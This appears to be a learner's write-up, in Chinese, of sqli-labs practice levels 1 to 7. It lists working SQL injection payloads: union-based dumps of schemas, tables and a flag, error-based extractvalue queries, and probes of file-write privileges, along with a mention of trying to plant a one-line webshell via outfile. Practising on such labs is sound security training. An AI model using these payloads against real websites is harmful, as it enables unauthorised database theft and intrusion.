sqli-labs

sqli-labs1

学到了一个函数group_concat
检查闭合:存在注入点

?id=0'

检查输出:2,3输出

?id=0'+union+1,2,3+--+

检查数据库:security

?id=0'+union+select+1,2,database()+--+

检查表:emails,referers,uagents,users(好多呀,也不知道有没有,一个一个看看吧)

?id=0'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'+--+

检查列:
emails:id,email_id
referers:id,referer,ip_address
uagents:id,uagent,ip_address,username
users:id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
找错了放弃

?id=0'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='emails'+--+

再来检查有没有其他的数据库:challenges,ctftraining,information_schema,mysql,performance_schema,security,test(好多)

?id=0'+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata+--+

看看表:
challenges:IJWFK26RS3
ctftraining:flag,news,users(好像找到了,先不试了)

?id=0'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='ctftraining'+--+

看看小可爱flag里有什么:flag(就一个很好,感觉是对的)

?id=0'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema='ctftraining'+and+table_name='flag'+--+

来吧,宝贝:flag{4c6eb184-675c-4839-b862-abb8fb10e242}

?id=0'+union+select+1,2,group_concat(flag)+from+ctftraining.flag+--+

sqli-labs2

开始用上面的方法试,但是后来发现是数值型的,不用闭合。啥也别说,还是因为自己太菜。
看看列数:3

?id=0+union+select+1,2,3+--+

上面差不多,除了不用闭合,结果也是一模一样,嗯,那就,拿来吧你,嘿嘿嘿。

sqli-labs3

和上面差不多,闭合方式不一样,是字符型的,在前面的过程中已经知道id=1时会输出正确的用户名,所以我们可以利用这一点测试。

?id=1+and+1=0+--+   //能输出正确的用户名,说明后面的对结果没影响,不是数值型的,那就可能是字符型的了。
?id=1'+and+1=0+--+   //报错说明不是’闭合
?id=1')+and+1=0+--+		//没有报错且不能输出正确的用户名,说明是‘)闭合。

其他步骤和以前一样

?id=0')+union+语句+--+    //0可以用其他的代替,要用不存在的id,不能用1.其中1已经在之前可以知道存在。

sqli-labs4

用上面一样的方法,测试出来注入方式是“)

?id=1")+and+1=0+--+

其他步骤和上面一样

sqli_labs5

第五个用之前的方法试,看看是什么注入

?id=1    //不输出名字了。有点难搞,估计不能用联合注入了。
?id=1+and+1=0+--+  //和上面一样的输出,那就不是数值型注入了
?id=1'+and+1=0+--+  //无输出,就是它了。

用报错注入,查询语句和之前差不多。

?id=0'+and+extractvalue('1',concat('~',(select+group_concat(schema_name)+from+information_schema.schemata)))+--+

sqli_labs6

嗯,和上面差不多,只不过注入方式不一样

?id=1+and+1=0+--+  //照常输出,pass
?id=1'+and+1=0+--+  //照常输出,pass。而且没报错,那如果我猜得没错就是“闭合
?id=1"+and+1=0+--+   //我真棒

报错注入,和上面差不了多少

?id=0"+and+extractvalue('1',concat('~',(select+group_concat(schema_name)+from+information_schema.schemata)))+--+

sqli_labs7

首先查看是什么注入

?id=1//无报错,可能是数值
?id=1+and+1=0+--+ //无报错,后面的and没作用,那就不是数值
?id=1'+and+1=1+--+  //报错,不是
?id=1')+and+1=1+--+  //报错,不是
?id=1"+and+1=1+--+  //无报错,可能是
?id=1"+and+1=0+--+  //无报错,后面的and没作用,不是
?id=1'))+and+1=1+--+  //无报错,可能是
?id=1'))+and+1=0+--+  //报错,就是它

嗯,和前面又不一样,提示是outfile,去网上看看这是何方神圣吧。
学成归来,说是用文件读取注入,看看有没有读取权限,注意datadir和basedir,去前面有输出的题目看看是什么,我这里去了第一题那里,用下面的

?id=0'+union+select+1,@@datadir,@@secure_file_priv+--+

出大事了,大佬说这里可能有点问题,用不了outfile写一句话木马,我做了这么久累了,跑路了,去看看其他的题目,等有心情了,再继续用盲注做。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值